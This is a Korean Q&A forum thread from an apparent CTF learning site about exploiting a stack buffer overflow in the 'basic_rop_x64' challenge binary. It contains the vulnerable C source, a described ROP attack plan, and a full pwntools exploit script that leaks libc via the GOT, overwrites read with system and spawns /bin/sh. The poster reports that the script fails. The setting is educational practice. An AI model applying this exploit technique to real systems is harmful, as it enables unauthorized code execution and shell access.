접근 방법 이게 맞는건가요? 제발 도와주세요 ㅠㅠ

1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <unistd.h>
5
6
7 void alarm_handler() {
8 puts("TIME OUT");
9 exit(-1);
10 }
11
12
13 void initialize() {
14 setvbuf(stdin, NULL, _IONBF, 0);
15 setvbuf(stdout, NULL, _IONBF, 0);
16
17 signal(SIGALRM, alarm_handler);
18 alarm(30);
19 }
20
21 int main(int argc, char *argv[]) {
22 char buf[0x40] = {};
23
24 initialize();
25
26 read(0, buf, 0x400);
27 write(1, buf, sizeof(buf));
28
29 return 0;
30 }

위의 코드가 취약한 코드입니다.

제가 접근한 방식은 rop함께하기 문제처럼 read에서 bof를 발생시켜

  1. write함수를 통해 read의 got을 읽고 그 읽어온 값을 바탕으로 system함수의 주소를 구한다.
  2. read함수를 호출시켜 read함수로 read의 got을 system함수의 주소로 변경하고 read의 got + 8 주소에 /bin/sh\x00을 입력한다.
  3. read함수를 호출시켜 쉘을 획득한다.

일런 공격 시나리오로 공격을 하려고 하는데요

이런 접근 방식이 맞는건지 확인 부탁드립니다.

#pwnable
작성자 정보
답변 3
탈퇴한 이용자
대표 업적 없음

write함수를 이용해서 푸는 풀이도 잇습니다

2022.07.28. 13:23
avatar
wyv3rn
무플 방지 위원회장

꼭 특정 함수로 풀어야하는 것은 아닙니다만, 저는 read 함수 사용해서 풀었습니다.
전체적인 공격 흐름은 말씀하신 내용이 맞습니다.

2022.07.28. 16:22
Hmin
강의 수강: 10

from pwn import *
import time

p = process("./basic_rop_x64")
#p = remote("host3.dreamhack.games", 17542)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
context.log_level = "debug"

#meterial
putsplt = e.plt['puts']
readplt = e.plt['read']
readgot = e.got['read']

poprdi = 0x400883
poprsi = 0x400881

#print read got
payload = b'A' * 0x48 #buffer overflow

payload += p64(poprdi)
payload += p64(readgot)
payload += p64(putsplt)

#read got overwrite
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi)
payload += p64(readgot) + p64(0)
payload += p64(readplt)

#call read
payload += p64(poprdi)
payload += p64(readgot + 0x8) #/bin/sh
payload += p64(readplt)

p.send(payload)
time.sleep(1)

read = u64(p.recv()[-6:] + b"\x00" * 2) #read got address

lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(p64(system) + b"/bin/sh\x00")

p.interactive()
`
이게 제가 작성한 익스플로잇 코드입니다.
계속 오류가 발생하네요ㅠㅠ
이유가 뭘까요??

image.png

2022.07.28. 17:40
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기